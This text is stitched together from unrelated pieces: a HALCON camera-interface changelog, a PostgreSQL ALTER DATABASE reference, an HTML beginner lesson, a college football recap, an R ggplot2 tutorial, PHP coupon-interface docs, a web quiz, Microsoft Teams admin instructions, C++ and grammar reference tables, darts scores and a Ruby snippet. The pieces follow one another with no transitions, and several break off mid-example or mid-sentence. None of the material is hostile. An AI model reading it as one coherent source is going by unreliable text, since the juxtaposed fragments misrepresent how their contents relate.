- Revision 6.3 (Feb 15, 2016):
- The parameters 'pixel_format' and 'distance_unit' have been added to
specify the output type of the images as well as the distance unit of
the X, Y, Z and distance images, respectively.
- The HDevelop example o3d3xx_objectmodel3d.hdev and
o3d3xx_simple.hdev have been improved by using the new
parameters 'pixel_format' and 'distance_unit'.
- The binning mode could not be switched off. The parameter 'binning'
has been added to enable this option. Note that it is only available
with firmware version 1.3.1001 or higher.
- The HDevelop example o3d3xx_valid_data.hdev has been
added.
- When setting the parameters 'exposure_time' and 'exposure_time_ratio',
incorrect limits values were used. This caused that, in some cases,
these parameters could not be set. This problem has been
fixed.
- The parameter 'reduce_motion_artifacts' had no impact. This parameter
has been removed.
- The HDevelop example o3d3xx_parameters.hdev has been
improved to show the range and values of the available parameters.
- The parameters list returned by 'available_param_names' (via
get_framegrabber_param) and 'parameters', 'parameters_readonly', and
'parameters_writeonly' (via info_framegrabber) were not returned in
alphabetical order. This problem has been fixed.
- The O3D3xx interface was available for Linux, but not
mentioned in this documentation. The Linux support has been added to
the 'System Requirements' section.
- Revision 6.2 Addendum (Sep 17, 2015):
- The imager configuration type 'morethan30m_high' is not supported. This
value option has been removed from the parameter
'imager_configuration_type' documentation.
- Revision 6.2 (Jun 15, 2015):
- First official release.
- In case that there is no application on the sensor open_framegrabber
crashed. This problem has been fixed.
- Minor internal fixes.
- Revision 6.1 (May 29, 2015):
- Using set_framegrabber_param with the parameter 'exposure_time'
led to a crash in most cases. This problem has been fixed.
- Revision 6.0 (Apr 10, 2015):
- HALCON 12 version of the interface.
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ALTER DATABASE
Section: SQL Commands (7)Updated: 2012-08-14
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NAME
ALTER DATABASE - change a databaseSYNOPSIS
ALTER DATABASE name [ [ WITH ] option [ ... ] ] where option can be: CONNECTION LIMIT connlimit ALTER DATABASE name RENAME TO newname ALTER DATABASE name OWNER TO new_owner ALTER DATABASE name SET TABLESPACE new_tablespace ALTER DATABASE name SET configuration_parameter { TO | = } { value | DEFAULT } ALTER DATABASE name SET configuration_parameter FROM CURRENT ALTER DATABASE name RESET configuration_parameter ALTER DATABASE name RESET ALL
DESCRIPTION
ALTER DATABASE changes the attributes of a database.
The first form changes certain per-database settings. (See below for details.) Only the database owner or a superuser can change these settings.
The second form changes the name of the database. Only the database owner or a superuser can rename a database; non-superuser owners must also have the CREATEDB privilege. The current database cannot be renamed. (Connect to a different database if you need to do that.)
The third form changes the owner of the database. To alter the owner, you must own the database and also be a direct or indirect member of the new owning role, and you must have the CREATEDB privilege. (Note that superusers have all these privileges automatically.)
The fourth form changes the default tablespace of the database. Only the database owner or a superuser can do this; you must also have create privilege for the new tablespace. This command physically moves any tables or indexes in the database's old default tablespace to the new tablespace. Note that tables and indexes in non-default tablespaces are not affected.
The remaining forms change the session default for a run-time configuration variable for a PostgreSQL database. Whenever a new session is subsequently started in that database, the specified value becomes the session default value. The database-specific default overrides whatever setting is present in postgresql.conf or has been received from the postgres command line. Only the database owner or a superuser can change the session defaults for a database. Certain variables cannot be set this way, or can only be set by a superuser.
PARAMETERS
- name
- The name of the database whose attributes are to be altered.
- connlimit
- How many concurrent connections can be made to this database. -1 means no limit.
- newname
- The new name of the database.
- new_owner
- The new owner of the database.
- new_tablespace
- The new default tablespace of the database.
- configuration_parameter
- value
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Set this database's session default for the specified configuration
parameter to the given value. If
value is DEFAULT
or, equivalently, RESET is used, the
database-specific setting is removed, so the system-wide default
setting will be inherited in new sessions. Use RESET
ALL to clear all database-specific settings.
SET FROM CURRENT saves the session's current value of
the parameter as the database-specific value.
See SET [set(7)] and in the documentation for more information about allowed parameter names and values.
NOTES
It is also possible to tie a session default to a specific role rather than to a database; see ALTER ROLE [alter_role(7)]. Role-specific settings override database-specific ones if there is a conflict.
EXAMPLES
To disable index scans by default in the database test:
ALTER DATABASE test SET enable_indexscan TO off;
COMPATIBILITY
The ALTER DATABASE statement is a PostgreSQL extension.
SEE ALSO
CREATE DATABASE [create_database(7)], DROP DATABASE [drop_database(7)], SET [set(7)], CREATE TABLESPACE [create_tablespace(7)]
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You can't fully control your organs because you don't have ADMIN privilege to your own body.


The five most important things to take from this lesson are the following:
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1 - What a Web Page is
A web page is a text document written in a language called HTML. Web browsers read these documents, and then interpret and display them.
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2 - How Coding Works
Coding happens when programmers write text in a language that a computer can understand. The computer can then follow the instructions the programmer wrote. For example, the computer might do this by making text like this:
I'm learning to code!
look like this:
I'm learning to code!
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3 - Computers are Stupid
Programmers need to write exactly the way a computer understands (also known as writing with correct "syntax").
For example, if you forget to close a tag, the computer won't be able to figure out what you had intended to make bold. This "stupidity" can be very frustrating, but it also gives programmers incredible power: if you know how to talk to a computer than you can tell it to do anything you want.
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4 - Programmers Can't Remember Everything
There are too many details to keep everything in your head. And that's okay. If you forget how to make text italic in HTML, you can always just look it up.
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5 - Basic HTML Vocabulary
You will be using HTML in the next few lessons, so it will be helpful if you're comfortable with the jargon.
• Tag: An HTML tag is always contained within angled brackets. Most tags have an opening tag ( for example) and a closing tag, (
). Some tags (called "void" tags) do not require a closing tag (like the
tag).
• Element: An HTML element refers to everything within a set of opening and closing tags.
• Attribute: This is a property of an HTML element. For example, to set the href attribute of an anchor tag to the Udacity URL, you would write
• Important Concepts
• How the Web Works
• The web is a bunch of computers that communicate with each other. When a person goes to a web page like www.google.com, their computer sends a HTTP Request to a server. The server finds the appropriate HTML document and sends it back to the user's computer where a web browser interprets the page and displays it on the user's screen. This video does a good job of explaining.
• HTML
• HTML stands for Hypertext Markup Language. HTML documents form the majority of the content on the web. HTML documents contain text content which describes "what you see" and markup which describes "how it looks". This video gives a good overview.
• Tags and Elements
• HTML documents are made of HTML elements. When writing HTML, we tell browsers the type of each element by using HTML tags. This video explains the distinction well.
 This makes them very unforgiving since a small mistake by a programmer can cause huge problems in a program.
• Inline vs Block Elements
• HTML elements are either inline or block. Block elements form an "invisible box" around the content inside of them.


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This program is a proof of concept for a simple drawing program created
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Houston’s 2 TD returns power 24-14 win over Tulsa
TULSA, Okla. (AP) - Damarion Williams gave Houston the lead for good with an interception return for a touchdown and the Cougars held off Tulsa 24-14 on Saturday night.
Williams intercepted Zach Smith’s pass and returned it 25 yards to make it 14-7 with 1:34 left in the second quarter. Dalton Witherspoon‘s 23-yard field goal made it 17-7 in the third quarter, and Marquez Stevenson returned a kickoff 94 yards to cap the scoring with 13:45 left in the game.
The Cougars (4-7, 2-5 American) were outgained 380-231, but Tulsa (3-8, 1-6) committed four turnovers compared to Houston’s one.
Smith’s 14-yard TD pass to Sam Crawford Jr. gave Tulsa a 7-0 lead in the middle of the first quarter. Clayton Tune‘s 15-yard TD run for Houston evened the score early in the second.
Smith passed for 381 yards, one touchdown and two interceptions. Keylon Stokes caught nine passes for 144 yards, and Crawford caught 10 passes for 102 yards and a TD.
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This post describes how to reorder a variable in a ggplot2
chart. Several methods are suggested, always providing examples with reproducible code chunks.
Reordering groups in a ggplot2
chart can be a struggle. This is due to the fact that ggplot2 takes into account the order of the factor
levels, not the order you observe in your data frame. You can sort your input data frame with sort()
or arrange()
, it will never have any impact on your ggplot2
output.
This post explains how to reorder the level of your factor through several examples. Examples are based on 2 dummy datasets:
# Library
library(ggplot2)
library(dplyr)
# Dataset 1: one value per group
data <- data.frame(
name=c("north","south","south-east","north-west","south-west","north-east","west","east"),
val=sample(seq(1,10), 8 )
)
# Dataset 2: several values per group (natively provided in R)
# mpg
Forecats
libraryThe Forecats library is a library from the tidyverse especially made to handle factors in R. It provides a suite of useful tools that solve common problems with factors. The fact_reorder()
function allows to reorder the factor (data$name
for example) following the value of another column (data$val
here).
# load the library
library(forcats)
# Reorder following the value of another column:
data %>%
mutate(name = fct_reorder(name, val)) %>%
ggplot( aes(x=name, y=val)) +
geom_bar(stat="identity", fill="#f68060", alpha=.6, width=.4) +
coord_flip() +
xlab("") +
theme_bw()
# Reverse side
data %>%
mutate(name = fct_reorder(name, desc(val))) %>%
ggplot( aes(x=name, y=val)) +
geom_bar(stat="identity", fill="#f68060", alpha=.6, width=.4) +
coord_flip() +
xlab("") +
theme_bw()
If you have several values per level of your factor, you can specify which function to apply to determine the order. The default is to use the median, but you can use the number of data points per group to make the classification:
# Using median
mpg %>%
mutate(class = fct_reorder(class, hwy, .fun='median')) %>%
ggplot( aes(x=reorder(class, hwy), y=hwy, fill=class)) +
geom_boxplot() +
xlab("class") +
theme(legend.position="none") +
xlab("")
# Using number of observation per group
mpg %>%
mutate(class = fct_reorder(class, hwy, .fun='length' )) %>%
ggplot( aes(x=class, y=hwy, fill=class)) +
geom_boxplot() +
xlab("class") +
theme(legend.position="none") +
xlab("") +
xlab("")
The last common operation is to provide a specific order to your levels, you can do so using the fct_relevel()
function as follow:
# Reorder following a precise order
p <- data %>%
mutate(name = fct_relevel(name,
"north", "north-east", "east",
"south-east", "south", "south-west",
"west", "north-west")) %>%
ggplot( aes(x=name, y=val)) +
geom_bar(stat="identity") +
xlab("")
#p
Dplyr
onlyThe mutate()
function of dplyr
allows to create a new variable or modify an existing one. It is possible to use it to recreate a factor with a specific order. Here are 2 examples:
arrange()
to sort your data frame, and reorder the factor following this desired order.data %>%
arrange(val) %>% # First sort by val. This sort the dataframe but NOT the factor levels
mutate(name=factor(name, levels=name)) %>% # This trick update the factor levels
ggplot( aes(x=name, y=val)) +
geom_segment( aes(xend=name, yend=0)) +
geom_point( size=4, color="orange") +
coord_flip() +
theme_bw() +
xlab("")
data %>%
arrange(val) %>%
mutate(name = factor(name, levels=c("north", "north-east", "east", "south-east", "south", "south-west", "west", "north-west"))) %>%
ggplot( aes(x=name, y=val)) +
geom_segment( aes(xend=name, yend=0)) +
geom_point( size=4, color="orange") +
theme_bw() +
xlab("")
reorder()
function of base RIn case your an unconditional user of the good old R, here is how to control the order using the reorder()
function inside a with()
call:
# reorder is close to order, but is made to change the order of the factor levels.
mpg$class = with(mpg, reorder(class, hwy, median))
p <- mpg %>%
ggplot( aes(x=class, y=hwy, fill=class)) +
geom_violin() +
xlab("class") +
theme(legend.position="none") +
xlab("")
#p


CouponInterface
interface CouponInterface implements IdentifiableInterface, DateTimeInterface, EnabledInterface, ValidIntervalInterface
Interface CouponInterface
Methods
Set code
Get code
Set name coupon name
Get name
Set type
Get type
Sets Enforcement
Get Enforcement
Set price
Get price
Set discount
Get discount
Set absolute price
Get absolute price
Set count
Get count
Set used
Get used
Set priority
Get priority
Set minimum purchase
Get minimum purchase
Get if this coupon can be used together with another coupon
Set if this coupon can be used together with another coupon
Set rule Rule to check for applicability
Get rule to check for applicability
Increment used variable by one, and disables it if there are no more available units
Details
in
IdentifiableInterface at line 30
integer
getId()
Get Id
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IdentifiableInterface at line 39
$this
setId(
integer $id)
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DateTimeInterface at line 34
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setCreatedAt(
DateTime $createdAt)
Set locally created at value
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DateTimeInterface at line 41
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getCreatedAt()
Return created_at value
in
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$this
setUpdatedAt(
DateTime $updatedAt)
Set locally updated at value
in
DateTimeInterface at line 57
DateTime
getUpdatedAt()
Return updated_at value
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setEnabled(
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Set isEnabled
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isEnabled()
Get if entity is enabled
in
ValidIntervalInterface at line 34
$this
setValidFrom(
DateTime $validFrom)
Set valid from
in
ValidIntervalInterface at line 41
DateTime
getValidFrom()
Get valid from
in
ValidIntervalInterface at line 50
$this
setValidTo(
DateTime $validTo = null)
Set valid to
in
ValidIntervalInterface at line 57
DateTime
getValidTo()
Get valid to
at line 44
$this
setCode(
string $code)
Set code
at line 51
string
getCode()
Get code
at line 60
$this
setName(
string $name)
Set name coupon name
at line 67
string
getName()
Get name
at line 78
$this
setType(
integer $type)
Set type
at line 85
integer
getType()
Get type
at line 96
$this
setEnforcement(
integer $enforcement)
Sets Enforcement
at line 103
integer
getEnforcement()
Get Enforcement
at line 112
$this
setPrice(
MoneyInterface $amount)
Set price
at line 119
MoneyInterface
getPrice()
Get price
at line 128
$this
setDiscount(
integer $discount)
Set discount
at line 135
integer
getDiscount()
Get discount
at line 144
$this
setAbsolutePrice(
MoneyInterface $amount)
Set absolute price
at line 151
MoneyInterface
getAbsolutePrice()
Get absolute price
at line 160
$this
setCount(
integer $count)
Set count
at line 167
integer
getCount()
Get count
at line 176
$this
setUsed(
integer $used)
Set used
at line 183
integer
getUsed()
Get used
at line 192
$this
setPriority(
integer $priority)
Set priority
at line 199
integer
getPriority()
Get priority
at line 208
$this
setMinimumPurchase(
MoneyInterface $amount)
Set minimum purchase
at line 215
MoneyInterface
getMinimumPurchase()
Get minimum purchase
at line 222
int
getStackable()
Get if this coupon can be used together with another coupon
at line 231
$this
setStackable(
int $stackable)
Set if this coupon can be used together with another coupon
at line 240
$this
setRule(
RuleInterface $rule)
Set rule Rule to check for applicability
at line 247
RuleInterface
getRule()
Get rule to check for applicability
at line 255
$this
makeUse()
Increment used variable by one, and disables it if there are no more available units


Which Track Should You Take?
First, tell us a little about yourself:
What is your first name?
Would you rather make things look nice or work on the infrastructure?
Make things look nice
Work on the infrastructure
Would you rather work for a small start-up or a large established corporation?
Small start-up
Established company
Do you like to create pages with a lot of user interaction?
Talk to me, user.
I prefer more content-heavy websites.
Where would you rather live?
Maine
South Dakota
Oregon
New Mexico
What is the style to which you have become accumstomed?
My own pool
My own pony
My own pool-boy and stable
Find your niche!
Reload page
Goodbye and good luck!


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Teams offers a great deal of functionality that can be customized by each customer.
In our scenario of a software development company, audio and video conferences are used for daily stand-up meetings, customer communication, and other parts of the Agile software development process. You want to start planning for Microsoft Teams meetings by learning how you can manage user access.
Here, you learn how to set users up on Teams meetings by using the Microsoft 365 admin center, PowerShell, or Teams meetings policies.
You manage access to Teams at the user level by assigning or removing a Microsoft Teams product license.
Note
By default, when a licensing plan (for example, Microsoft 365 Enterprise E3 or Microsoft 365 Business Premium) is assigned to a user, a Teams license is automatically assigned. The user is then enabled for Teams. You can disable or enable Teams for a user by removing or assigning a license at any time.
Teams user-level licenses are managed directly through the Microsoft 365 admin center user management interfaces. An administrator can assign licenses to new users when those accounts are created or to users with existing accounts. The steps are different depending on whether you use the Licenses page or Active Users page. For step-by-step instructions, see Assign licenses to users in the Learn more section below.
Run the following command to display all available licensing plans in your organization:
Get-MsolAccountSku
Run the following commands to disable Teams, where CompanyName:License is your organization name and the identifier for the licensing plan that you retrieved in the earlier step. For example, ContosoSchool:ENTERPRISEPACK_STUDENT:
$acctSKU="<CompanyName:License>
$x = New-MsolLicenseOptions -AccountSkuId $acctSKU -DisabledPlans "TEAMS1"
Meeting policies are used to control the features that are available to participants for meetings scheduled by users in your organization. You can use the global, organization-wide, default policy that's automatically produced or create and assign custom policies. You manage meeting policies in the Microsoft Teams admin center or by using PowerShell.
This policy is per-organizer and allows for leaderless dial-in conferencing meetings. This setting controls whether dial-in users can join the meeting without an authenticated user from the organization in attendance. The default value is False, which means dial-in users will wait in the lobby until an authenticated user joins the meeting.
This policy is per-organizer. The setting controls whether people join a meeting directly or wait in the lobby until they're admitted by an authenticated user. This setting doesn't apply to dial-in users.
This policy is per-organizer. The setting controls whether people who dial in by phone join the meeting directly or wait in the lobby, whatever the Automatically admit people setting fixes. The default value is False. When it's False, dial-in users will wait in the lobby until an organization user joins the meeting with a Teams client and admits them. If it's True, dial-in users will automatically join the meeting when an organization user arrives.
Desktop sharing lets users present a screen or app during a meeting or chat. Administrators configure screen sharing in Microsoft Teams to let users share an entire screen, an app, or a file. You let users give or request control, allow PowerPoint sharing, add a whiteboard, and allow shared notes. You also configure whether anonymous or external users can request control of the shared screen.
To configure screen sharing, you create a new meetings policy, and then assign it to the users you want to manage.
Sign into the Microsoft Teams admin center.
Select Meetings > Meeting policies.
On the Meeting policies page, select + Add.
Give your policy a unique title and enter a brief description.
Under Content sharing, choose a screen sharing mode from the drop-down list:
Turn the following settings on or off:
Select Save.
You can also use the Set-CsTeamsMeetingPolicy cmdlet to control desktop sharing.
You can customize Teams meeting invitations to satisfy your organization's needs. Add your organization's logo and include helpful information, such as links to your support website and legal disclaimer, and a text-only footer.
Sign into the Microsoft Teams admin center.
In the left navigation, go to Meetings > Meeting settings.
Under Email invitation, do the following:
Select Preview invite to see a preview of your meeting invitation.
When you're done, select Save.
Wait an hour or so for the changes to propagate. Then schedule a Teams meeting to see what the invitation looks like.


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| virtual bool | IsDeleted () |
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| virtual void | OnPause () |
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| virtual void | ProcessCollisionStart (const std::string &collided_with_id) |
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| ~GameObject () | |
Additional Inherited Members | |
| Protected Attributes inherited from GameObject | |
| std::vector< Component * > * | attached_components {} |
| bool | is_deleted {} |
| std::string | object_id |
Special game object representing the tile map.
This can be useful in collision detection as well since the updates will need to be handled differently than other objects and components.
| TileMapObject::TileMapObject | ( | std::string & | object_id, |
| const std::string & | texture_res, | ||
| const std::string & | tile_map_res, | ||
| const std::string & | camera_attached_object, | ||
| const TileTypeDefiner * | tile_type_definer, | ||
| int | rows, | ||
| int | cols, | ||
| int | tile_width, | ||
| int | tile_height, | ||
| int | dest_tile_width, | ||
| int | dest_tile_height, | ||
| int | _mapX, | ||
| int | _mapY | ||
| ) |
Public constructor for the TileMapObject.
| object_id | The unique ID assigned to this object. |
| texture_res | File path to the texture resource for this tile map. |
| tile_map_res | File path to the actual text based tile map. |
| camera_attached_object | The id of the object to which the camera is attached. |
| tile_type_definer | The TileTypeDefiner that is used to map interger representation of tiles to their source position in spritesheets. |
| rows | number of rows [deprecated] |
| cols | number of cols [deprecated] |
| tile_width | The source width of individual tile in the sprite sheet. |
| tile_height | The source height of individual tile in the sprite sheet. |
| dest_tile_width | The destination width of individual tile in the sprite sheet. |
| dest_tile_height | The destination width of individual tile in the sprite sheet. |
| _mapX | The number of columns in the text-based tilemap. |
| _mapY | The number of rows in the text-based tilemap. |
|
default |
| std::vector< int > TileMapObject::GetTileMapLayout | ( | ) | const |
This method returns the current tile map that is being displayed as a 2D array of integers.
|
overridevirtual |
This method should be called one-time and prior to any other method invocations on this object.
This method initializes the individual components and make the object ready for use.
Reimplemented from GameObject.


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| Model | ::= | ( ( <BEGIN> <MODEL> ( <BEGIN> ( CompartmentsBlock | ParameterBlock | MolecularDefinitionBlock | AnchorsBlock | SeedSpeciesBlock | ReactionRulesBlock | ObservablesBlock | FunctionsBlock ) )+ <END> <MODEL> ( Action )* ) | ( ( <BEGIN> ( CompartmentsBlock | ParameterBlock | MolecularDefinitionBlock | AnchorsBlock | SeedSpeciesBlock | ReactionRulesBlock | ObservablesBlock | FunctionsBlock ) )+ ( Action )* ) ) |
| FunctionsBlock | ::= | <FUNCTIONS> ( FunctionDecl )* <END> <FUNCTIONS> |
| CompartmentsBlock | ::= | <COMPARTMENTS> ( Compartment )* <END> <COMPARTMENTS> |
| ParameterBlock | ::= | <PARAMETERS> ( Parameter )* <END> <PARAMETERS> |
| MolecularDefinitionBlock | ::= | <MOLECULE> <TYPES> ( ( <INTEGER> )? MolecularTypePattern )* <END> <MOLECULE> <TYPES> |
| AnchorsBlock | ::= | <ANCHORS> ( Anchors )* <END> <ANCHORS> |
| SeedSpeciesBlock | ::= | <SEED> <SPECIES> ( ( <INTEGER> )? SeedSpecies )* <END> <SEED> <SPECIES> |
| ReactionRulesBlock | ::= | <REACTION> <RULES> ( ( <INTEGER> )? ReactionRule )* <END> <REACTION> <RULES> |
| ObservablesBlock | ::= | <OBSERVABLES> ( Observable )* <END> <OBSERVABLES> |
| Compartment | ::= | ( <INTEGER> )? ( <IDENTIFIER> ) ( <INTEGER> ) ( "{" Expression "}" ) |
| Parameter | ::= | ( <INTEGER> )? ( <IDENTIFIER> ) ( "{" Expression "}" ) |
| SeedSpecies | ::= | ( <ATSIGN> ( <LABEL> ) )? ( <CLAMP> )? SpeciesPattern ( "{" Expression "}" ) |
| Observable | ::= | ( ( <INTEGER> )? ( ( <MOLECULES> ) | ( <SPECIES> ) ) ( <IDENTIFIER> ) ( ObservablePattern ( ( <COMMA> )? ObservablePattern )* ) ) |
| ObservablePattern | ::= | ( <ATSIGN> ( <LABEL> ) )? SpeciesPattern ( ( ( "=" <INTEGER> ) | ( ">" <INTEGER> ) )? ) |
| FunctionDecl | ::= | ( <IDENTIFIER> ) "(" ")" "=" ( Expression ) |
| ReactionRule | ::= | ( <LABEL> ) Reactant ( <ADD> Reactant )* ( ( <REACTION_ARROW_RIGHT> ) | ( <REACTION_ARROW_BOTH> ) ) Product ( <ADD> Product )* KineticsParameter ( <COMMA> KineticsParameter )? |
| Reactant | ::= | ( <ATSIGN> ( <LABEL> ) )? SpeciesPattern |
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| Components | ::= | "(" ( ComponentList )? ")" |
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| Float | ::= | ( <FLOATING_POINT_LITERAL> | <INTEGER> ( <DOT> )? ) |
| Name | ::= | <IDENTIFIER> |
| StringLiteral | ::= | <QUOTE> <IDENTIFIER> <QUOTE> |


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| BROUGHTON | Colin Hargreaves | 45 |
| BROUGHTON | Denzil James | 75 |
| BROUGHTON | Frank Long | 45 |
| BROUGHTON | Glyn Wilcock | 60 |
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| BROUGHTON | Mike Routledge MBE | 50 |
| BUCKLEY CONS | Bryn Hughes | 105 |
| BUCKLEY CONS | Gordy Edwards | 95 |
| BUCKLEY CONS | Graham Martin | 115 |
| BUCKLEY CONS | Malcolm Hughes | 75 |
| BUCKLEY CONS | Nathan Gartland | 100 |
| CHESTER CONS | Andy Duckers | 45 |
| CHESTER CONS | Anthony Done | -65 |
| CHESTER CONS | Eddie Jenkins | 55 |
| CHESTER CONS | Geoff Brassington | -160 |
| CHESTER CONS | Phil Whiteside | 0 |
| CHESTER CONS | Steve Williams | 35 |
| EASTHAM HOME GUARD | Antony Cooke | 20 |
| EASTHAM HOME GUARD | Clive Bennett | 70 |
| EASTHAM HOME GUARD | Eddie Duggan | -70 |
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| EWLOE | Ivor Norbury | 65 |
| EWLOE | Ken Massey | 40 |
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| UPTON RBL A | John Over (Snr) | 115 |
| UPTON RBL A | Shaun Steadman | 85 |
| UPTON RBL B | Alan Tomlinson | 115 |
| UPTON RBL B | Brian Sharratt | 115 |
| UPTON RBL B | Dave Nicholas | 115 |
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var_name = "Cyrus" #Here is a variable containing a string
var_num = 26 #This one holds an integer
var_array = ["ruby", "javascript", "sql"] # and this one holds an array
my_hash = Hash.new #Here, we create a new hash using the HASH class and the .new method
my_hash = { #On these few lines we create a hash with symbols for keys
name: "Cyrus"
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fav_food: "sauerbraten"
fav_sport: "fencing"
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def func_name_here(param) #this is how we define a method
new_arr = [] #making a new local variable (array)
param.each do |thing_to_do| #This line iterates over param
new_arr.push(thing_to_do) #.push items to the array
puts "#{thing_to_do} was added to the array." #This shows how to print variables inline to text
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